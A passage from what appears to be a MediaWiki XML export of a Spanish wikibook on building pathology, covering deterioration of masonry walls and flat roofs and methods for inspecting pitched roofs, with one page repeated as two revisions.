[[Agresiones biológicas]].: daño de tipo biodeterioro.
Agentes: bacterias, hongos, algas, líquenes, plantas superiores y animales.
Acciones: según su agente agresor:
Hongos y bacterias: costras negras (decoloración y deterioro)
Algas y musgo: degradación
Líquenes: patinas biogénicas.
Árboles y plantas superiores: fisuras y grietas.
Animales: deterioro
====Agresiones mecanismos físicos====
[[Agresiones físicas y mecánicas]].
Factores de agresión: 
Agua: humedad por capilaridad, agua de lluvia, heladas, expansiones por humedad.
Variación de la temperatura: dilataciones y retracciones.
Efectos del terreno y la cimentación: asentamientos diferenciales.
====Agresiones mecánicos químicos.====
[[Agresiones químicas]].
Acciones: alteraciones químicas en los  materiales cerámicos
Criptoeflorescencias
Eflorescencias
Factores de agresión:
Contaminación atmosférica
Ciclos de cristalización/hidratación de sales solubles

='''Fallos característicos''':= 
Problemas mas comunes: Del muro: (como elemento constructivo)
=='''Mecánicos''':== 
Afectan a la solidez: durabilidad + estabilidad + resistencia + seguridad. 
Exceso de tensiones producidas. (Cambios de forma y estado de los materiales)
Estabilidad: estado de equilibrio. Puesto que cualquier actuación de reparación debe mantenerse el estado de equilibrio en el edificio y homogeneidad en el reparto y traslado de cargas.
Resistencia: nivel de tensión que causa la rotura de un material.
(2)Existen dos factores que afectan a la durabilidad de una estructura:
*1.	Modificación de las condiciones de contorno de la estructura: (a este grupo pertenecen todos aquellos materiales que afectan a factores externos a la estructura).
·	Incremento o decremento de cargas
·	Cambio de posición de cargas
·	Asientos diferenciales
·	Cambio de uso
·	Modificación del medio (obras adyacentes)
·	Acciones no previstas, viento, seísmos, térmicas, etc.
·	Deformaciones impuestas por efectos de las cargas (flechas excesivas no previstas)
·	Deformación impuesta por los materiales. Fluencia retracción variación térmica uniforme y gradientes térmicos.
*2.	Cambio de fase de los materiales de constitución: (factores  que afectan a la constitución de la estructura modificando con su acción sus propiedades mecánicas con el tiempo.)
·	Agentes biológicos 
·	Cambios de temperatura
Los cambios de propiedades mecánicas hacen que el edificio varié sus secciones resistentes  y sus flujos de cargas a través de ella, haciendo cambios en la forma, y estado de los materiales.
===Lesiones típicas:===
====Deformaciones:==== 

A partir de una fuerza exterior ( acción – deformación- rotura). Suele deberse a dos tipos de causas:
=====[[Causas materiales]]:===== 
insuficiente capacidad de resistencia.
=====[[Causas operativas]]:===== 
exceso de carga o sobrecarga, bien por aumento de la edificación por modificación de uso, por variaciones dimensionales debidas a cambios de temperatura o humedad.

====Roturas:==== 
Consecuencia directa de deformaciones. Cuando el material sobrepasa su punto de deformación.
======[[Grietas]]:====== 
por asientos, empujes, deformaciones, movimientos térmicos.

======[[Fisuras]]:====== 
por acciones mecánicas: empuje que no llega a romper, movimientos de otros elementos constructivos; [[fisuras derivadas]].
====Erosión:==== 
Aparece en todo elemento superficial pétreo.
Distinguimos tres tipos todos ellos con perdida de integridad física.
Erosión física:
penetración de agua con cambios de temperatura.
Erosión química:
acción de contaminantes aparece mediante eflorescencias.
Erosión biológica.

=='''Funcionales'''== 
Afectan a la utilidad: comodidad + economía + estabilidad + salubridad. 
Afectará a la habitabilidad de los espacios interiores
Fallos funcionales: habrá que evitar la aparición de humedades accidentales y de capilaridad que ocasionan la inadecuación del muro para cumplir su función. 
Se prestará especial atención en el drenaje y saneamiento de aguas residuales y pluviales, en el abastecimiento de agua
=='''Estéticos''':== 
afectan al decoro: adecuación + disposición + limpieza
Fallos estéticos: 
Aparición de manchas superficiales:
Eflorescencias: por su proceso de producción el material cerámico es más eflorescible. 
Principal agente agresor el agua, sales solubles y depósitos. (Orgánicos, ambientales e inorgánicos.)

{{AutoCat}}</text>
      <sha1>cyn3vie0isgpj4c7d6gy4elwsp8rmcz</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas planas/Causas y mecanismos de deterioro</title>
    <ns>0</ns>
    <id>13479</id>
    <revision>
      <id>430162</id>
      <parentid>162100</parentid>
      <timestamp>2026-08-02T11:54:10Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430162</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9434" sha1="jv4mudd0ld0lk0kplh80m812is7rh6h" xml:space="preserve">== Abusos de posesión ==


::*'''Durante la ejecución'''

::'''a) Inadecuado almacenamiento de los productos impermeabilizantes:'''

::::+ Con productos bituminosos se han de evitar las exposiciones al sol, y el apilado de los rollos ya que las condiciones del mástico pueden variar deformándose.

::::+ Con productos sintéticos, debe tenerse especial cuidado con las fechas de caducidad, siendo relativamente cortas en algunos de ellos. Así mismo, deben protegerse de la radiación solar debido a que la gran mayoría son fotosensibles.

::::+ Malos tratos en la superficie impermeabilizante y aislante durante el proceso constructivo, como por ejemplo el apoyo de andamios, el paso de carretillas, caída de objetos, etc. pueden producir roturas y punzonamientos.
 

::*'''En servicio'''

::'''a) La sobrecarga de la cubierta puede producir deformaciones en la base resistente, consecuentemente daños en las capas aislantes e impermeabilizantes.'''

::'''b) Un mal uso de la cubierta puede acabar degradándola:'''

::::+ El tránsito excesivo puede producir erosiones en el pavimento y terminar por descubrir el manto impermeabilizante.

::::+ Usos distintos a los que inicialmente se proyectaron, como la instalación de jardineras o espacios de almacenaje, puede alterar drásticamente el comportamiento de todo el sistema.

== Agresiones externas ==


::*'''Agentes y mecanismos biológicos'''

::'''a) La aparición y proliferación de microorganismos xilófagos pueden alterar las características mecánicas de la base resistente, como es el caso de las cubiertas de madera.'''

::'''b) En cubiertas ajardinadas, las raíces pueden ocasionar una rápida erosión de la membrana aislante.'''

::'''c) Los depósitos de semillas, transportadas por el viento, conjuntamente con la acumulación de agua pueden convertirse en grandes matorrales.'''


::*'''Agresiones mecanismos físicos'''

::'''a) Variaciones térmicas:''' 

::::+ Ocasionan tensiones mecánicas en los componentes rígidos tales como dilataciones o contracciones, que se transmiten a los distintos elementos de la cubierta. 

::::+ Las bajas temperaturas y las heladas, conjuntamente con algún defecto de fabricación pueden llegar a desintegrar pavimentos y revestimientos.

::::+ Radiación solar: La radiación UV y el ozono ambiental, son factores de envejecimiento en algunos de los componentes de la cubierta plana, tales como los materiales utilizados para impermeabilización, por ejemplo: las resinas sintéticas aplicadas en forma de pinturas que no presenten una adecuada resistencia hacia estos factores externos y puede devenir en una disfuncionalidad de los mismos.

::::+ La lluvia, nieve o granizo, provocan infiltraciones, desbordamientos, obstrucciones en los sistemas de evacuación. 

::::+ Las llamadas lluvias ácidas pueden degradar rápidamente las láminas vistas (autoprotegidas) de la cubierta.

::::+ Los vientos pueden erosionar la protección en las cubiertas, arrastrando el canto rodado o grava e incluso provocar el desprendimiento de los sistemas de protección fijados mecánicamente por el efecto de succión. Dejando en ambos casos las placas de aislamiento expuestas a la agresión de los agentes atmosféricos.

== Defectos y mecanismos internos de los materiales y elementos ==


::*'''Formales'''

::'''a) Los materiales componentes de la cubierta han de pasar un control de calidad y/o estar acompañados de su correspondiente certificado de garantía.'''

::::+ Las armaduras en la lámina protectora, si es el caso, deberán estar relativamente centradas respecto a la sección, asegurando un adecuado recubrimiento.

::::+ En la base resistente, el hormigón de la capa de compresión deberá tener una adecuada dosificación y un espesor suficiente para asegurar el reparto de cargas en toda la cubierta, evitando deformaciones y fisuraciones.

::::+ Retracción en las láminas de impermeabilización, dada por la “Capacidad de memoria” del material, que vienen siendo tensiones acumuladas en el proceso de fabricación. Cuando son enrolladas se estiran, y tienden a volver a su estado original al extenderse, pudiendo provocar desprendimientos en las fijaciones.

::*'''Sustanciales'''

::'''a) Del producto terminado:'''

::::+ Los materiales con elevada permeabilidad, absorben agua por capilaridad pudiendo filtrarse al interior de la cubierta.

::::[[imagen:94258_26122006_3.jpg]]

== Factores de riesgo ==


::* '''De diseño'''

::::'''a) Evacuación de aguas:'''

::::+ Fragmentación de la capa de formación de pendientes en cuarterones con áreas poco excesivas, colocando juntas en función del área de la cubierta para prevenir dilataciones.  

::::+ Excesiva pendiente, mayor al 5%, que puede ocasionar corrimientos en la membrana impermeabilizante

::::+ Dimensionado y distribución de la red de evacuación, se debe tener en cuenta la reducción de la sección útil de las bajantes debido a la colocación de las laminas de impermeabilización. 

::::+ Puntos de recogida de agua en esquinas o muy próximos a los paramentos.

::::'''b) Composición y diseño del sistema de cubierta plana:'''

::::+ Ausencia de la barrera de vapor, para evitar condensaciones y como consecuencia abombamientos.

::::

::::+ Ausencia de aislamiento.

::::+ Ausencia de láminas antirraices en cubiertas con protección de canto rodado, que eviten el crecimiento de plantas parásitas.

::::+ Disposición inadecuada de los elementos que componen el sistema estanco de la cubierta.

::::+ Incompatibilidades constructivas o químicas entre los elementos de la cubierta.

::::+ Dotación insuficiente de dispositivos de fijación para los elementos de protección de la cubierta.

::::+ La disposición al mismo nivel entre la zona interior de acceso a la cubierta y el exterior, ocasiona filtraciones a través del marchapiés.

::::+ Las capas forjadoras de pendientes al estar unidas a los perímetros no permiten la libre dilatación del elemento horizontal y su empuje, ocasionando fisuras de directriz horizontal en los paramentos perimetrales.

::::+ Petos de cubierta compuestos de materiales heterogéneos, por tanto con coeficientes de dilatación diferentes, producen movimientos diferenciales.

::::'''c) Base resistente:'''

::::+ No considerar  contraflechas para la ejecución del forjado, que compensen las deformaciones o hundimientos producidos por sobrecarga y peso propio.

::::+ Juntas de dilatación incongruentes con el resto del sistema estructural del edificio.

::::+ Inestabilidad dimensional, causada por las retracciones del hormigón o las elevadas dilataciones de los metales como el aluminio.

::::+ Permeabilidad al vapor de agua, ocasionando la aparición de trampas de agua debajo de la membrana.

::::+ Irregularidades o defectos de planeidad en la base resistente, constituyen un riesgo de retenciones de agua.


::*'''De ejecución'''

::::'''a) No prever juntas de construcción en las capa de protección de la cubierta,''' que permitan los pequeños movimientos diferenciales entre el mortero y el pavimento.

::::'''b) Deficiencias en la ejecución de solapes:'''

::::+ Pueden producirse abultamientos por una mala distribución.

::::+ Discontinuidad en la capa aislante, al no respetarse las distancias mínimas de solape.

::::'''c) Insuficiencia o inexistencia del remonte vertical de la lámina impermeabilizante en su encuentro con los paramentos verticales,''' que asegure la estanqueidad de la cubierta.

::::+ Falta de empotramiento en las rozas o elementos de protección y sellado en entrega vertical.

::::+ Mala preparación del soporte. Materiales tales como sellantes, requieren una delicada puesta en obra, teniendo en cuenta que al momento de su aplicación la superficie debe estar limpia y seca, algunos demandan imprimaciones previas encima del soporte que han de ser compatibles químicamente. Todo ello puede verse reflejado en una ausencia de adherencia del sellado al soporte.

::::+ Tratamiento de juntas entre las placas de aislante, procurando continuidad y evitando puentes térmicos.

::::+ En aislamientos pastados, debe respetarse el espesor mínimo requerido por calculo en los puntos bajos, especialmente en sumideros y desagües, pudiendo generarse puentes térmicos

::::+ En aislantes proyectados, deben controlarse los espesores mínimos de aplicación.


::*'''De posesión'''

::::'''a) Insuficiencia u omisión de las labores de conservación, limpieza, mantenimiento y uso:'''

::::+ Obstrucción en las bajantes por falta de mantenimiento y limpieza de la cubierta, pudiendo llegar a colmatarse, produciendo charcos en la superficie y posteriormente filtraciones una vez degradada la capa impermeable.

::::+ Elementos “nuevos” encima de la cubierta como bancadas para instalaciones o pequeños cobertizos, pueden cambiar el recorrido previsto para la recogida de aguas, generando puntos singulares y propiciando filtraciones por retenciones o encharcamientos.

::::+ Sobrecargas no previstas en la cubierta que pueden provocar el hundimiento o deformación de la base resistente y consecuentemente ser la causa de otras patologías como roturas en las capas de impermeabilización y aislamiento, filtraciones, etc.

::::+ Ausencia o descuido en el mantenimiento de cubiertas con protección de canto rodado en zonas muy húmedas, facilitando la proliferación de plantas parásitas.


'''APR'''

{{AutoCat}}</text>
      <sha1>jv4mudd0ld0lk0kplh80m812is7rh6h</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas inclinadas/Inspección y control</title>
    <ns>0</ns>
    <id>13487</id>
    <revision>
      <id>430017</id>
      <parentid>63202</parentid>
      <timestamp>2026-08-02T10:23:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Modificaciones de estilo</comment>
      <origin>430017</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15922" sha1="lti7uh3d2fqw9v9wiwh8p81jmb2vnht" xml:space="preserve">== '''1. Zonas singulares, conflictivas y críticas''' ==

=== '''1.1  Identificación de agentes de deterioro''' ===

==== 1.1.2- Análisis ambiental ====
Se trata de poner en situación los elementos constructivos de la cubierta. Para lograr un diagnóstico más preciso y científico analizaremos los elementos ambientales que son en mayor medida los ocasionantes de las lesiones en cubierta. Para ello seguiremos los pasos siguientes:

# Identificar y localizar la lesión en el edificio.
# Situar la orientanción de la cubierta y del punto crítico donde se detecte la lesión.
# Determinar el nivel de exposición del punto de apararición del síntoma con respecto al nivel de calle y a la proximidad y situación de otros edificios.
# Determinar el nivel de contaminación del entorno del edificio, en función de las medidas que se pueden tomar en la localidad.

Será importante conocer las condiciones climáticas del entorno del edifico a inspeccionar, recogiendo datos de la estación meteorológica más cercana o en el centro de meteorología., para hallar las variaciones de presión y temperatura y humedad al que se ven sometidos los materiales que componen la cubierta. Mediante termohigrógrafos y termohigrómetros podremos medir la temperatura y humedad ambiental  o superficial lo que nos ayudará a concretar si existen condiciones favorables para la existencia de condensaciones superficiales o intersticiales. Otros métodos para determinar la humedad son el método químico del carburo, el método gravimétrico y el eléctrico. 

==== 1.1.3- Evaluación de acciones ====
Los pasos a seguir para la identificación de la lesión será la siguiente:

# Se localizará la lesión en la cubierta, señalando los elementos constructivos dañados, así como su composición, materiales y estado.
# Se estudiará y dibujará el sistema y detalle constructivo del punto crítico para localizar y entender mejor la posible causa. 
# Se llevará a cabo la extracción de muestras y probetas (en obra.

Para determinar la intensidad de una patología en la cubierta primero deberemos localizar el agente causante, las condiciones en que se ha dado, identificar exactamente los elementos que se han deteriorado (piezas de cubrición, juntas, mortero entre las piezas, etc.). Tendremos en cuenta la antigüedad de la patología y el tiempo transcurrido desde su aparición. 

También habrá que estudiar la morfología que presenta el deterioro, analizando la presencia de manchas de suciedad o de humedad, posibles alteraciones que presentan las superficies de los materiales, sales depositadas, colonias de algas, hongos, líquenes, etc. Para ello se tomarán las muestras adecuadas para que en el laboratorio nos indiquen datos relativos a la humedad y propiedades mecánicas y químicas. Será recomendable comparar muestras alteradas con otras bien conservadas. 

==='''1.2  Exploración y reconocimiento de las propiedades y estado constructivo'''===

==== 1.2.1- Estado y propiedades físicas ====
Podremos determinar la capacidad de estanquidad que ofrecen los elementos de cubrición de la cubierta, pudiendo determinar si ésta es total, parcial o nula.

Para ello primero se definirá previamente los datos constructivos de los diferentes elementos como la composición y el material de cubrición, delimitando así los agentes de deterioros para cada uno de los materiales (será diferente si se trata de pizarra o teja, por ejemplo) y los ensayos a realizar.

====  1.2.2- Delimitación de daños ====

===== Zonas de riesgo en las cubiertas inclinadas: =====
La inspección suele realizarse comenzando por las zonas de riesgo, donde es más probable encontrar daños en la cubrición de la cubierta. Estas zonas de riesgo  son:

* Cubrición de faldones (pudiendo aludir a su sustentación). Se verificará el estado del material de cubrición, indicando la necesidad de sustituir aquellas piezas que estén rotas o mal ancladas, ay que puede ser origen de filtraciones de agua al interior, incluso peligro de corrimiento y caída de la pieza sobre el espacio contiguo al edificio. También se comprobará el estado de los anclajes de los elementos de cubrición -
* Encuentros con otros elementos. Por ejemplo el encuentro de los faldones con la chimenea, donde pueden aparecer humedades por el techo, alrededor de los puntos donde la chimenea atraviesa la cubierta, debido a la posible penetración de agua que se produce a través de la junta que queda entre ambos elementos. También se revisarán los encuentros con caperuzas.
* Encuentros con paramentos verticales. La actuación en estos casos estará localizada en el punto conflictivo. Se verificará el estado del elemento encargado de recoger y canalizar el agua, y se inspeccionará que el solape  entre estos paramentos y los faldones con estos canalones sea suficiente, así como la altura de borde suficiente de los canalones para conducir todo el agua para los que está diseñado. 
* Encuentros entre los diferentes paños de la cubierta. Se inspeccionarán por tanto las limas y que las mismas conducen el agua sin obstáculos, estando sus bordes perfectamente soldados al material de sustentación de las piezas de cubrición, para evitar que sea una fuente de penetración del agua, o de pérdida del aislamiento térmico y acústico.
* Elementos salientes de la cubierta: Se verificará el estado entre la cubierta y elementos en voladizo, como aleros, buhardillas, así como la revisión de las antenas e instalaciones ubicadas sobre el tejado.

==== 1.2.3 -Inspección - Identificación: ====
Se llevará a cabo normalmente de manera visual o ayudándose de herramientas básicas como destornillador, espátula, punzón, para determinar la profundidad del ataque y extraer muestras para su estudio posterior en el laboratorio.

* Existencia de organismos vegetales y/o microorganismos sobre la cubierta. Estos podrán ser responsables del deterioro o levantamiento y corrimiento de los elementos de cubrición, así como la obstrucción de los elementos de evacuación de agua..
* Existencia de humedad por condensación (enlace con humedades por cond.)
* Existencia de humedad por filtración (enlace con humedad por filtra.)
* Desplazamiento y desprendimiento de tejas u otros elementos de cubrición (enlace)
* Erosión de los elementos de cubrición (enlace fisura rotura) (enlaces en pagina 5)
* Obturación de los elementos de evacuación de agua ocasionada por depósitos de suciedad, organismos, etc. provocando una acumulación de agua excesiva.

==='''1.3 Evaluación de las características funcionales'''===

===== 1.3.1 -Características mecánicas =====
Las cubiertas tendrán que resistir mecánicamente frente a las acciones estáticas, dinámicas, térmicas, eólicas, etc., que incidan sobre la misma, a la vez que la deformabilidad y movimientos de sus capas serán compatibles entre sí y con el resto del edificio. Además tendrán una resistencia mecánica suficiente para  permitir realizar las labores de conservación en su superficie. Si no fuera posible se habilitaría pasos por la cubierta para realizar los trabajos de mantenimiento y limpieza periódica para no dañar los elementos de cubrición.

* Desagüe

* Impermeabilización

=='''2.  En laboratorio''' ==
==='''2.1  Análisis de identificación'''===
Los pasos a seguir para la identificación de la lesión será la siguiente: 

# Se localizará la lesión en la cubierta, señalando los elementos constructivos dañados, así como su composición, materiales y estado.
# Se estudiará y dibujará el sistema y detalle constructivo del punto crítico para localizar y entender mejor la posible causa.
# Se llevará a cabo la extracción de muestras y probetas (en obra)

==='''2.2 Ensayos de comportamiento y prestaciones funcionales'''===
Serán ensayos de tipos ‘destructivos’ a partir de las muestras de la obra o el edificio.
Podrán ser de varios tipos:

# Densidad: Las muestras se secarán hasta obtener una masa constante, se someterán a vacío para eliminar todo el aire y se añade agua hasta su total inmersión. Para calcular su densidad aparente se debe obtener el cociente entre su peso y su volumen normalizado.
# Color: La medición del color se podrá hacer por comparación con cartas o atlas de colores, o también por medición directa con espectrocolorímetros. Generalmente un cambio de color de un elemento refleja un proceso de alteración de los edificios.
# Porosidad: Se estudiará tanto la densidad aparente como la absoluta a partir de los datos del ensayo de absorción de agua por inmersión. También existe un ensayo  por inyección de mercurio, mediante el cual se obtiene la distribución del tamaño de los poros y el volumen de la muestra expresada.
# Absorción de agua: Este ensayo consistirá en sumergir las probetas tomadas en un recipiente con agua en las condiciones determinadas según los distintos tipos de inmersión. Las muestras se extraen y se pesan después de cada ciclo, obteniendo un resultado porcentual.
# Expansión por humedad: Consiste en determinar la expansión potencial por humedad en autoclave. Esta expansión puede dar lugar a deformaciones que produzcan puntos críticos de entrada de agua.
# Permeabilidad al agua: Será la cantidad de agua que fluye, por unidad de tiempo y superficie en condiciones fijas, a través del cuerpo de espesor determinado generalmente de superficies paralelas. Este ensayo nos permitirá determinar la eficacia de los productos superficiales de hidrofugación.&lt;br /&gt;
==='''2.3  Muestreo: extracción de muestras'''===
Primeramente se hará una programación de un programa de muestreo adecuado, teniendo en cuenta las características de los elementos componentes de la cubierta a inspeccionar. Se anotará exactamente el punto de extracción de la muestra sobre el plano, y se etiquetará de manera precisa. El tamaño y la cantidad de muestra a extraer de determinará en función del tipo de ensayo que se va a realizar. (enlace)
También se preparan probetas de material si fuera preciso.
El equipo necesario para la extracción de muestras se compondrá de cuchillo, espátula, navaja o destornillador y pinzas naturalistas. En la actualidad se utilizan sistemas de de ondas ultrasónicas para realizar ensayos no destructivos, sin necesidad de perforar o romper ningún elemento.

=='''3. En oficinas técnicas'''==

==='''3.1  Análisis documental contraste proyecto-obra'''===
Se realizará un croquis, un detalle constructivo sobre la obra en el punto crítico donde se manifiesta la patología a partir de la toma de datos y se contrastará con una solución estudiada  del mismo tipo de cubierta a inspeccionar.

==='''3.2 Comprobación dimensional'''===
Deberemos tener en cuenta el cumplimiento del Código Técnico de la Edificación (CTE) con respecto a las exigencias básicas de seguridad estructural, seguridad en caso de incendios y exigencias básicas de salubridad, respecto a las condiciones contra la humedad, que de transcriben a continuacion:

* “Artículo 10. Exigencias básicas de seguridad estructural (SE). 3. Los Documentos Básicos «DB SE Seguridad Estructural», «DB-SE-AE Acciones en la edificación», «DBSE-C Cimientos», «DB-SE-A Acero», «DB-SE-F Fábrica» y «DB-SE-M Madera», especifican parámetros objetivos y procedimientos cuyo cumplimiento asegura la satisfacción de las exigencias básicas y la superación de los niveles mínimos de calidad propios del requisito básico de seguridad estructural.”

* “Artículo 11. Exigencias básicas de seguridad en caso de incendio (SI). 1.	El objetivo del requisito básico «Seguridad en caso de incendio» consiste en reducir a límites aceptables el riesgo de que los usuarios de un edificio sufran daños derivados de un incendio de origen accidental, como consecuencia de las características de su proyecto, construcción, uso y mantenimiento.  2.	Para satisfacer este objetivo, los edificios se proyectarán, construirán, mantendrán y utilizarán de forma que, en caso de incendio, se cumplan las exigencias básicas que se establecen en los apartados siguientes.  3.	El Documento Básico DB-SI especifica parámetros objetivos y procedimientos cuyo cumplimiento asegura la satisfacción de las exigencias básicas y la superación de los niveles mínimos de calidad propios del requisito básico de seguridad en caso de incendio, excepto en el caso de los edificios, establecimientos y zonas de uso industrial a los que les sea de aplicación el «Reglamento de seguridad contra incendios en los establecimientos industriales», en los cuales las exigencias básicas se cumplen mediante dicha aplicación.

* Artículo 13. Exigencias básicas de salubridad (HS) «Higiene, salud y protección del medio ambiente». 4.	El objetivo del requisito básico «Higiene, salud y protección del medio ambiente», tratado en adelante bajo el término salubridad, consiste en reducir a límites aceptables el riesgo de que los usuarios, dentro de los edificios y en condiciones normales de utilización, padezcan molestias o enfermedades, así como el riesgo de que los edificios se deterioren y de que deterioren el medio ambiente en su entorno inmediato, como consecuencia de las características de su proyecto, construcción, uso y mantenimiento. 5.	Para satisfacer este objetivo, los edificios se proyectarán, construirán, mantendrán y utilizarán de tal forma que se cumplan las exigencias básicas que se establecen en los apartados siguientes.  6.	El Documento Básico «DB-HS Salubridad» especifica parámetros objetivos y procedimientos cuyo cumplimiento asegura la satisfacción de las exigencias básicas y la superación de los niveles mínimos de calidad propios del requisito básico de salubridad.  7.	  8.	13.1 Exigencia básica HS 1: Protección frente a la humedad: se limitará el riesgo previsible de presencia inadecuada de agua o humedad en el interior de los edificios y en sus cerramientos como consecuencia del agua procedente de precipitaciones atmosféricas, de escorrentías, del terreno o de condensaciones, disponiendo medios que impidan su penetración o, en su caso permitan su evacuación sin producción de daños.

Para seguir una metodología de análisis podremos empezar por identificar el tipo de cubierta. El paso siguiente será la inspección desde el exterior. Las deformaciones de caballete, de panzas, los faldones y la existencia de deformaciones en aleros y hastiales nos muestran claramente  de los daños básicos y de los movimientos de la estructura. Ëstos deben ser marcados en un croquis con señalizaciones pasa su posterior identificación desde el interior.
En tercer lugar seguiremos este guión para inspeccionar todos los elementos:

# Grietas, roturas o deformaciones en elementos portantes: Las causas podrán ser por asientos, por solicitaciones de flexión o compresión por encima de sus posibilidades.
# Roturas en cumbreras o pases: Puede estar producido por sobrecarga, o por pudrición del elemento portante en el caso de ser madera.
# Roturas  en elementos auxiliares, tornapuntas, tirantillas, etc. Por sobrecarga o pudriciones
# Deformaciones por flecha en cumbrera, pares, y tirantes. Las causas pueden ser por sección insuficiente, deformación remanente agudizada por sobrecarga en reparaciones o sobrepeso propio, o por calentamiento por incidencia solar en una cara
# Alabeos en durmientes, cumbreras y pares.
# Roturas en correas. Las causas pueden ser la pudrición por penetración de agua, si se trata de una estructura de madera, o por  sobrecarga por reparaciones o ruinas de elementos colindantes. 7-Deformaciones y alabeos de las correas. Ocasionadas por penetración de agua, por pérdida de cobertura, con insolación por una sola cara, o por la transmisión de esfuerzos debidos a mal funcionamiento de los elementos principales.</text>
      <sha1>lti7uh3d2fqw9v9wiwh8p81jmb2vnht</sha1>
    </revision>
    <revision>
      <id>430018</id>
      <parentid>430017</parentid>
      <timestamp>2026-08-02T10:23:10Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430018</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15935" sha1="scqg7vd1h33w0c8r88xltky816xvqcz" xml:space="preserve">== '''1. Zonas singulares, conflictivas y críticas''' ==

=== '''1.1  Identificación de agentes de deterioro''' ===

==== 1.1.2- Análisis ambiental ====
Se trata de poner en situación los elementos constructivos de la cubierta. Para lograr un diagnóstico más preciso y científico analizaremos los elementos ambientales que son en mayor medida los ocasionantes de las lesiones en cubierta. Para ello seguiremos los pasos siguientes:

# Identificar y localizar la lesión en el edificio.
# Situar la orientanción de la cubierta y del punto crítico donde se detecte la lesión.
# Determinar el nivel de exposición del punto de apararición del síntoma con respecto al nivel de calle y a la proximidad y situación de otros edificios.
# Determinar el nivel de contaminación del entorno del edificio, en función de las medidas que se pueden tomar en la localidad.

Será importante conocer las condiciones climáticas del entorno del edifico a inspeccionar, recogiendo datos de la estación meteorológica más cercana o en el centro de meteorología., para hallar las variaciones de presión y temperatura y humedad al que se ven sometidos los materiales que componen la cubierta. Mediante termohigrógrafos y termohigrómetros podremos medir la temperatura y humedad ambiental  o superficial lo que nos ayudará a concretar si existen condiciones favorables para la existencia de condensaciones superficiales o intersticiales. Otros métodos para determinar la humedad son el método químico del carburo, el método gravimétrico y el eléctrico. 

==== 1.1.3- Evaluación de acciones ====
Los pasos a seguir para la identificación de la lesión será la siguiente:

# Se localizará la lesión en la cubierta, señalando los elementos constructivos dañados, así como su composición, materiales y estado.
# Se estudiará y dibujará el sistema y detalle constructivo del punto crítico para localizar y entender mejor la posible causa. 
# Se llevará a cabo la extracción de muestras y probetas (en obra.

Para determinar la intensidad de una patología en la cubierta primero deberemos localizar el agente causante, las condiciones en que se ha dado, identificar exactamente los elementos que se han deteriorado (piezas de cubrición, juntas, mortero entre las piezas, etc.). Tendremos en cuenta la antigüedad de la patología y el tiempo transcurrido desde su aparición. 

También habrá que estudiar la morfología que presenta el deterioro, analizando la presencia de manchas de suciedad o de humedad, posibles alteraciones que presentan las superficies de los materiales, sales depositadas, colonias de algas, hongos, líquenes, etc. Para ello se tomarán las muestras adecuadas para que en el laboratorio nos indiquen datos relativos a la humedad y propiedades mecánicas y químicas. Será recomendable comparar muestras alteradas con otras bien conservadas. 

==='''1.2  Exploración y reconocimiento de las propiedades y estado constructivo'''===

==== 1.2.1- Estado y propiedades físicas ====
Podremos determinar la capacidad de estanquidad que ofrecen los elementos de cubrición de la cubierta, pudiendo determinar si ésta es total, parcial o nula.

Para ello primero se definirá previamente los datos constructivos de los diferentes elementos como la composición y el material de cubrición, delimitando así los agentes de deterioros para cada uno de los materiales (será diferente si se trata de pizarra o teja, por ejemplo) y los ensayos a realizar.

====  1.2.2- Delimitación de daños ====

===== Zonas de riesgo en las cubiertas inclinadas: =====
La inspección suele realizarse comenzando por las zonas de riesgo, donde es más probable encontrar daños en la cubrición de la cubierta. Estas zonas de riesgo  son:

* Cubrición de faldones (pudiendo aludir a su sustentación). Se verificará el estado del material de cubrición, indicando la necesidad de sustituir aquellas piezas que estén rotas o mal ancladas, ay que puede ser origen de filtraciones de agua al interior, incluso peligro de corrimiento y caída de la pieza sobre el espacio contiguo al edificio. También se comprobará el estado de los anclajes de los elementos de cubrición -
* Encuentros con otros elementos. Por ejemplo el encuentro de los faldones con la chimenea, donde pueden aparecer humedades por el techo, alrededor de los puntos donde la chimenea atraviesa la cubierta, debido a la posible penetración de agua que se produce a través de la junta que queda entre ambos elementos. También se revisarán los encuentros con caperuzas.
* Encuentros con paramentos verticales. La actuación en estos casos estará localizada en el punto conflictivo. Se verificará el estado del elemento encargado de recoger y canalizar el agua, y se inspeccionará que el solape  entre estos paramentos y los faldones con estos canalones sea suficiente, así como la altura de borde suficiente de los canalones para conducir todo el agua para los que está diseñado. 
* Encuentros entre los diferentes paños de la cubierta. Se inspeccionarán por tanto las limas y que las mismas conducen el agua sin obstáculos, estando sus bordes perfectamente soldados al material de sustentación de las piezas de cubrición, para evitar que sea una fuente de penetración del agua, o de pérdida del aislamiento térmico y acústico.
* Elementos salientes de la cubierta: Se verificará el estado entre la cubierta y elementos en voladizo, como aleros, buhardillas, así como la revisión de las antenas e instalaciones ubicadas sobre el tejado.

==== 1.2.3 -Inspección - Identificación: ====
Se llevará a cabo normalmente de manera visual o ayudándose de herramientas básicas como destornillador, espátula, punzón, para determinar la profundidad del ataque y extraer muestras para su estudio posterior en el laboratorio.

* Existencia de organismos vegetales y/o microorganismos sobre la cubierta. Estos podrán ser responsables del deterioro o levantamiento y corrimiento de los elementos de cubrición, así como la obstrucción de los elementos de evacuación de agua..
* Existencia de humedad por condensación (enlace con humedades por cond.)
* Existencia de humedad por filtración (enlace con humedad por filtra.)
* Desplazamiento y desprendimiento de tejas u otros elementos de cubrición (enlace)
* Erosión de los elementos de cubrición (enlace fisura rotura) (enlaces en pagina 5)
* Obturación de los elementos de evacuación de agua ocasionada por depósitos de suciedad, organismos, etc. provocando una acumulación de agua excesiva.

==='''1.3 Evaluación de las características funcionales'''===

===== 1.3.1 -Características mecánicas =====
